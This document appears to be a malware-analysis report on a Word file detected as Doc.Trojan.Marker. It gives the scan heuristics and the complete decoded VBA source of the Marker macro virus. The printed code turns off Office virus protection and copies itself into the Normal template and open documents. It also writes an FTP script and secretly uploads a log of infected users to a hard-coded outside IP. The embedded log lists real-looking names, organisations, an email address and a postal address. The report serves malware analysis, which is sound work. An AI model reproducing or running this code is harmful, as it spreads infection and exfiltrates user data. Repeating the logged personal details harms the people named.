MALICIOUS
202
Risk Score
Heuristics 4
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ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-31
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
'Switch the VirusProtection OFF Options.VirusProtection = False -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6005 bytes |
SHA-256: 7db33281346874326349c2b4cec08a19bc3e6a6ceabcd24317db3bab322e4deb |
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Detection
ClamAV:
Doc.Trojan.Marker-3
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For i = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next i
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For i = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next i
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 12:04:46 PM - Wednesday, 23 Dec 1998
' BCBSA
'
' 11:32:13 AM - Thursday, 24 Dec 1998
' BCBSA
'
' 11:43:52 AM - Monday, 28 Dec 1998
' BCBSA
'
' 12:03:48 PM - Wednesday, 6 Jan 1999
' Tricia
'
' 11:45:55 AM - Thursday, 14 Jan 1999
' Debra C. Hopkinson
'
' 04:41:56 PM - Monday, 18 Jan 1999
' Jim Klein
'
' 12:03:57 PM - Saturday, 23 Jan 1999
' Bob Rein
'
' 05:34:31 PM - Tuesday, 26 Jan 1999
' Garry Wood
' garry.wood@eds.com
' 03:40:31 PM - Friday, 29 Jan 1999
' CZ31KQ
'
' 10:42:55 - donderdag, 11 feb 1999
' Arnold Cobbaert
'
' 10:41:27 - woensdag, 17 feb 1999
' Ilse Van Holsbeeck
'
' 12:00:04 - Tuesday, 23 Feb 1999
' Ron van Valkengoed
'
' 05.44.51 - mercoledì, 24 feb 1999
' EDS ITALIA SPA
'
' 05.47.14 - martedì, 23 mar 1999
' Videoconf
'
' 01.08.34 - giovedì, 25 mar 1999
' Angela Peduzzi
'
' 03.00.40 - giovedì, 25 mar 1999
' Moira Masper
'
' 03:20:35 - giovedì, 15 apr 1999
' IAL LOMBARDIA
'
' 12.15.08 - mercoledì, 28 apr 1999
' 3
'
' 12.31.49 - giovedì, 29 apr 1999
' 2
'
' 03.43.43 - venerdì, 14 mag 1999
' Calveri Domenico
'
' 12.30.12 - venerdì, 28 mag 1999
' UTENTE1
'
' 05.48.51 - giovedì, 10 giu 1999
' ASS. NETWORK OCCUPAZIONE
'
' 08.33.53 - venerdì, 25 giu 1999
' FEDERICA MERIGGI
'
' 08.31.48 - lunedì, 27 set 1999
' Compaq User
'
' 10.56.16 - venerdì, 1 ott 1999
' .
'
' 05.31.51 - martedì, 28 ott 2003
' user
' AMMINISTRAZIONI IMMOBILIARI FABRIS
' Via Carso, 8/a int.1
' 48100 RAVENNA
' 10:40:13 PM - Martedì, 4 nov 2003
' Bibi
'
' 10:51:05 AM - Sabato, 10 gen 2004
' Dimma
'
' 10:52:37 AM - Lunedì, 24 ott 2005
' -
'
' 03:15:45 PM - Mercoledì, 18 gen 2006
' Rainoldi
'
' 12:44:56 PM - Martedì, 7 nov 2006
' __________________________
' __________Û_______________
'
' 02:10:13 PM - Lunedì, 18 feb 2008
' Utente Ame
' --
'
' 05:38:32 PM - Mercoledì, 4 giu 2008
' AME
'
' 11:34:46 AM - Mercoledì, 5 ott 2011
' AME
'
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